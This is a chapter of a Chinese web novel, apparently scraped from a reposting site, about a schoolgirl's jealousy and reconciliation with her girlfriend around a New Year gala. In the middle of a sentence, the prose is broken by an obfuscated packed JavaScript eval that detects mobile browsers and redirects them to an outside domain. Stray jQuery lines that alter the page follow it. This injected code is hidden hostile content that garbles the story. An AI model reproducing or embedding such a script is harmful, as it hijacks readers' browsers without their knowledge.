43. 太阳的偏爱

作品:《骨惑

    元旦晚会前一周,魏云弥几乎从我视野里蒸发了。


    每天放学,她总跟理科班那个男生留在空教室对稿。他个子很高,侧脸轮廓像被精心凿过,低头和魏云弥讨论流程时,两人肩膀几乎要贴上。


    真碍眼。


    我咬着笔帽,把缩进袖口里的手哆哆嗦嗦伸出来,在草稿纸上画满了叉。


    窗外的枯木仍倔强地支棱着,疯长的枝桠在寒风里拼命向上。清冷的空气把心底的寂寥烘得愈发干燥,却燃不起一点火星,只剩沉甸甸的沉默压在喉头。


    “听说周佑暗恋魏云弥呢。”前排两个女生凑在一起,声音裹着兴奋的八卦,“他可是理科班第一啊。”


    我的笔尖在冻僵的手指间攥得死紧,指节从青紫褪成骇人的白。一滴墨水突然溅在月考卷上,像颗凝住的血珠。


    我当然知道周佑。他是那种会让所有少女心跳漏拍的男生——干净,耀眼,像从青春期梦里走出来的人,带着所有关于悸动的想象。


    他总穿件纤尘不染的白衬衫,一半浸在阳光里,笑起来温和得恰到好处,不用细看都能猜到,那双眼睛里该盛着怎样鲜活的光。


    他常半倚在我们班窗台上,故作闲聊久久蛰伏;又或在小卖部、食堂制造一次又一次蝴蝶振翅般的偶遇,眼神带着私心黏过来,又故作平静地移开,转头和同伴谈笑风生。有时哼着跑调的小情歌晃过走廊;体育课穿篮球服时,带着点矜持的倨傲,却会“不经意”地把球投往某个方向;学校前十的颁奖台上,当他和魏云弥的名字一同被念出时,他们班的起哄声里总裹着暧昧的调子。


    这些,我都看在眼里。因为我也在看魏云弥。


    谁暗恋她,谁中意她,谁在午休时往她桌上放了杯热可可,谁隔着淤青眼圈的镜片偷望她的背影,人潮汹涌里的甲乙丙丁谁在打探她的生日,谁在光荣榜前为她萌生钦慕与敬佩,我比谁都清楚。


    可无力感像棵被虫蛀空的枯木,我晃着没有生命力的枝桠,只能眼睁睁看着那些人接近她模糊的背影。


    初冬的清晨最冷,雾蒙蒙的天,寒风刮过我干裂的唇,一抹淡红从唇缝渗出来。


    孟逸月破天荒来找我时,我正缩在角落啃面包。


    “我要在元旦晚会上跳《咏春》。”她开门见山。


    我皱眉:“关我什么事?”


    “白痴。”她翻个白眼,“表演者能参与彩排流程讨论——主持人也得配合。”


    我突然明白了她的意图。


    “那个周佑,昨天对稿时故意碰魏云弥的手。”孟逸月咬牙切齿,脸上挂着与甜美脸蛋不符的妒意,“你就眼睁睁看着那理科男把她抢走?”


    我咽下最后一口面包,喉咙干得发疼:“她又不是物品,怎么抢?”


    “我自有办法。”孟逸月突然凑近,涂着粉色唇膏的嘴开合着,“元旦晚会彩排,你跟我一起去。”


    窗外枯枝在风中摇晃,投下支离破碎的影子。我盯着她精心卷过的发梢,突然意识到——这场荒唐的暗恋里,我们竟成了同盟。


    “为什么是我?”


    “因为只有你能让魏云弥分心。”她咬着牙,声音压得极低,“周佑看她的眼神……恶心死了。”


    我攥紧手中的面包袋,塑料发出刺耳的声响。恍惚间想起那次被迫的pocky游戏,想起她英语月考上的故意失误,想起她每次看魏云弥时眼里藏不住的炽热。


    两个爱情里的困兽,用最笨拙的方式守护在意的人——这是我们第一次达成共识。


    彩排当天,礼堂冷得像冰窖。我缩在最后一排,看舞台上光彩夺目的魏云弥。她穿简单的冲锋衣,外面裹着我送她的第一件礼物——深蓝色羊绒围巾。


    深蓝色衬得她肌肤愈发莹白,却比任何华服都耀眼。


    去年元旦,我把这条花了半个月生活费的围巾递到她面前时,她眼底写满心疼,嗔怪我买这么贵的东西,却也说会戴一整个冬天。


    她没骗我。


    即便这条围巾于她而言或许根本不值一提,甚至材质粗糙,却因为送礼的人,变得弥足珍贵。而现在,她愿意在这种时刻戴上它,仿佛在无声地宣告:别人看她是仰望星辰,而我才是她最想私藏的月光。


    周佑递水给她时,手指“不经意”擦过她的手背。


    “流程有问题。”孟逸月突然插进来,硬生生挤到两人中间,“我的舞曲伴奏得剪掉前奏。”


    周佑挑眉:“昨天不是说好了吗?”


    “我改主意了。”孟逸月扬起下巴,摆出大小姐的无理取闹,“不行吗?”


    魏云弥皱眉想说话,却被广播通知打断。她匆匆起身去候场,经过我时突然拽住我的手腕——


    “待着别动,等我来找你。”她低声说。


    她的指尖在我掌心轻轻一划,像某种隐秘的暗号。我蜷缩在座位上,看她走向舞台的阴影,心脏在胸腔里疯狂跳动。


    晚会当晚,礼堂人声鼎沸。


    我抱着膝盖蹲在后台角落,看魏云弥和周佑最后核对流程。她今天美得惊人——一袭深蓝色挂脖高开叉礼服,颈间珍珠项链添了几分温婉,锁骨上洒着亮晶晶的高光,面容精致,眉眼如画,明媚得让人移不开眼。


    她永远闪闪发光,永远令我心动。


    有时会萌生出许多念头,最后都化作平静的思忖。人有千面,心有千回,而我心里总像浸在水里,湿漉漉的。有些东西一旦出现过,就会被主观永远记住。


    每个女孩的学生时代,总会遇见一个如骄阳般灼目的存在。


    他们是成绩单顶端的常客,是走廊里被悄悄注视的焦点,家境优渥得像活在偶像剧里——仿佛上帝造他们时格外偏心,把所有好运都揉进了骨血里。这样的人出现时,总让人暗叹不公:凭什么有人一出生就在高楼之上、罗马城中,而另一些人,要在泥潭里慢慢生锈被磨平棱角?


    我就是后者,芸芸众生里最不起眼的一个。习惯了用艳羡又带点酸涩的目光,目送那些耀眼的身影走过,像仰望隔着玻璃的星辰。


    可我又是被命运偷偷偏爱的那一个。


    因为魏云弥爱我。是她的爱,让我这颗蒙尘的石头,也透出了自己的光。


    上帝的宠儿?或许吧。但我更信,是她把光分给了我。


    我永远记得第一次见到魏云弥的模样。开学典礼的主席台上,她作为学生代表站在中央。阳光穿过礼堂彩绘玻璃,在她白衬衫上洇开流动的光斑,像谁打翻了调色盘。


    话筒里传出她清透的声音,稳稳铺满整个操场——她连演讲稿都没看,甚至能流畅背出校长临时追加的校训,眼神亮得像盛着星光。


    “又是这种天之骄子。”有人在旁边嘁了一声,“生下来就在罗马啊。”


    真的不公平。有些人天生被阳光追着跑,而我,连站在阴影里都要收拢肩膀,怕不小心碍了谁的眼,阻了谁的道。


    主持环节完美得刺眼。魏云弥和周佑站在聚光灯下,像童话里的王子和公主。我蜷缩在阴影里,冲锋衣外套沾着墙皮的灰。


    “下面有请孟逸月同学带来舞蹈《咏春》——”


    音乐响起时,我溜进了后台换衣间。镜子里映出我枯黄的短发和苍白的脸,与光鲜亮丽的魏云弥相比,像两个世界的人。


    门突然被推开。


    “找到你了。”魏云弥反手锁门,裙摆扫过我的小腿,“怎么躲在这儿?”


    我别过脸:“……透气。”


    她突然捏住我的下巴,带着舞台妆的唇重重压下来。唇釉的甜腻和粉底液的香气包围了我的鼻腔,我被她抵在化妆台上,腰硌得生疼。


    “吃醋了?”分开时她舔了舔我的嘴角,“从周佑第一次找我时就板着脸。”


    我攥紧她腰侧的布料,不敢看她胸前那片肤白如雪的肌肤:“……没有。”


    “撒谎。”她轻笑,突然从礼服暗袋掏出颗水蜜桃糖塞进我嘴里,“奖励你忍到现在。”


    门外传来脚步声和周佑的疑惑:“云弥人呢?马上要上台了!”


    我们额头相抵,呼吸在空气中交错,凝结成白雾。她的礼服裙摆铺开,像一片深蓝色的海,而我溺在其中,甘之如饴。


    “待会儿看着我。”她最后啄了下我的唇,“只准看我。”


    聚光灯再次亮起时,周佑试图帮魏云弥整理耳麦,被她不着痕迹地避开。而站在舞台最暗处的我,尝到了唇上残留的蜜桃味——那是专属于我的,最甜的惩罚。


    舞台上,她明媚大方,裙摆甩开的每一寸弧度都恰到好处,令人痴迷神往。


    我该怎么形容她呢?我的阿芙洛狄忒,我山雾冰涧中茕孑的神明。似是透过浮动的白纱帘,望见窗外百合含苞吐萼。忒弥斯降临人间,风清月明,一切都沁人心脾。


    直视那束骄阳,直到眼眶传来炸裂般的酸涩,直到在那片耀眼的光里,发现独属于我的耀斑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055195|176505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    与黑子。


    仰望或嫉妒都不足以表达那种炽切,索取、贪婪、欲望、缺失感越是汹涌,越是明白这是我的心之所向。


    好想把这束明丽的玫瑰藏起来,好想带她回到四十亿年前的冥古宙,那时还没有海,我们可以一起在持续百万年的大雨中狂奔。


    我该撞得头破血流、声嘶力竭,拼命争取才能得到想要的。可我是个胆小鬼,只有在夜深人静和她独处时,才敢释放出一点点微弱的爱与纵容。


    晚会结束已是深夜。人群散去后,我坐在礼堂外的台阶上等魏云弥。寒风吹得我缩成一团,却舍不得离开。


    “繁郁。”


    熟悉的声音从身后传来,我转身,看见魏云弥披着校服外套走来。她卸了妆,素颜在月光下格外柔和。


    “冷吗?”她在我身边坐下,把围巾分了一半裹住我的脖子。


    我摇摇头,忍不住往她身边靠了靠。围巾上残留着她的体温和淡淡的香水味,像个小小的避风港。


    “刚才周佑约我去庆功宴。”她突然说。


    我的心猛地一沉,手指无意识地揪紧了围巾。


    “我拒绝了。”她轻笑,指尖点了点我的鼻尖,“因为有人答应要等我。”


    月光洒在我们交叠的影子上,给这个寒冷的夜晚镀了层温柔的银边。我望着她近在咫尺的侧脸,突然觉得那些不安和嫉妒都变得渺小。


    “该你了。”她笑得眉眼弯弯,眼底闪着狡黠的光,“为什么突然和孟逸月一起?”


    我咬住下唇,不知该如何解释这突如其来的同盟。寒风卷起地上的落叶,沙沙声替我们填补着沉默。


    “她……她来找我,说周佑对你有意思。”我最终小声承认,手指绞着围巾的流苏,“我不想你被抢走。”


    魏云弥突然笑出声,单边酒窝深深凹陷:“所以你们两个情敌联手了?”


    我的脸瞬间烧起来,别过视线不敢看她。月光下,她的眼睛亮得像盛满了星星,让我无处可逃。


    “繁郁,”她突然凑近,鼻尖几乎贴上我的,“你知道我为什么拒绝周佑吗?”


    我摇摇头,心跳快得几乎要跃出胸腔。


    “因为——”她的呼吸喷在我唇上,带着蜜桃糖的甜香,“我早就被一个爱吃醋的小骷髅绑住了。”


    这个亲昵的称呼让我眼眶发热。我伸手环住她的腰,把脸埋进她的颈窝。她身上熟悉的白茶香混着夜风的凉意,成了这个冬天最温暖的记忆。


    我闷在她肩头小声说:“你会不会觉得我很幼稚?”


    “会。”她毫不犹豫地回答,手指却温柔地梳理着我的短发,“但我喜欢。”


    夜风带着冬日的凛冽,却吹不散我们之间的炽热。我望着她近在咫尺的眼睛,突然觉得所有猜忌和不安都很可笑。


    “魏云弥。”我小声唤她的名字,声音里带着自己都没察觉的依赖。


    “嗯?”


    “新年快乐。”


    她愣了一下,随即笑开了花。单边酒窝深深凹陷,像是盛满了月光。


    “新年快乐,小蕨。”


    在漫天璀璨之下,她用围巾罩住我的头,指尖收拢的瞬间,我们的鼻尖近在咫尺,就在我闭上眼追我肖想已久的柔软时,她偏生坏心眼地避开。


    “躲什么?”我气恼地睁开眼,却撞进她盛满笑意的眸子里。


    魏云弥的指尖轻轻点在我的唇上:“新年愿望是什么?”


    “亲你。”我直白地回答,耳根却烫得厉害。


    她低笑出声,终于俯身吻了下来。这个吻比烟花更绚烂,比钟声更悠长,在唇齿间炸开的甜蜜让我头晕目眩。


    远处的人群在欢呼,新年的祝福声此起彼伏。而我们躲在围巾筑起的秘密堡垒里,交换着最私密的誓言。


    “繁郁。”分开时她抵着我的额头轻喘,“明年也要一起过。”


    我点点头,突然觉得没有任何一句情话能比“明年也要一起过”还要动人。


    新的一年,我们依然会在一起。


    趁我们头脑发热,为这鲜活热烈、哪怕终将腐朽枯萎腐烂的浪漫赴死而活。


    无论有多少人爱慕她的光芒,无论我有多么不安和怯懦,她都会像此刻一样,坚定地选择我。


    这个认知让我眼眶发热。我紧紧回抱住她,烟花的轰鸣淹心跳声的须臾,我在心里许下新年第一个愿望——


    愿岁并谢,与长友兮。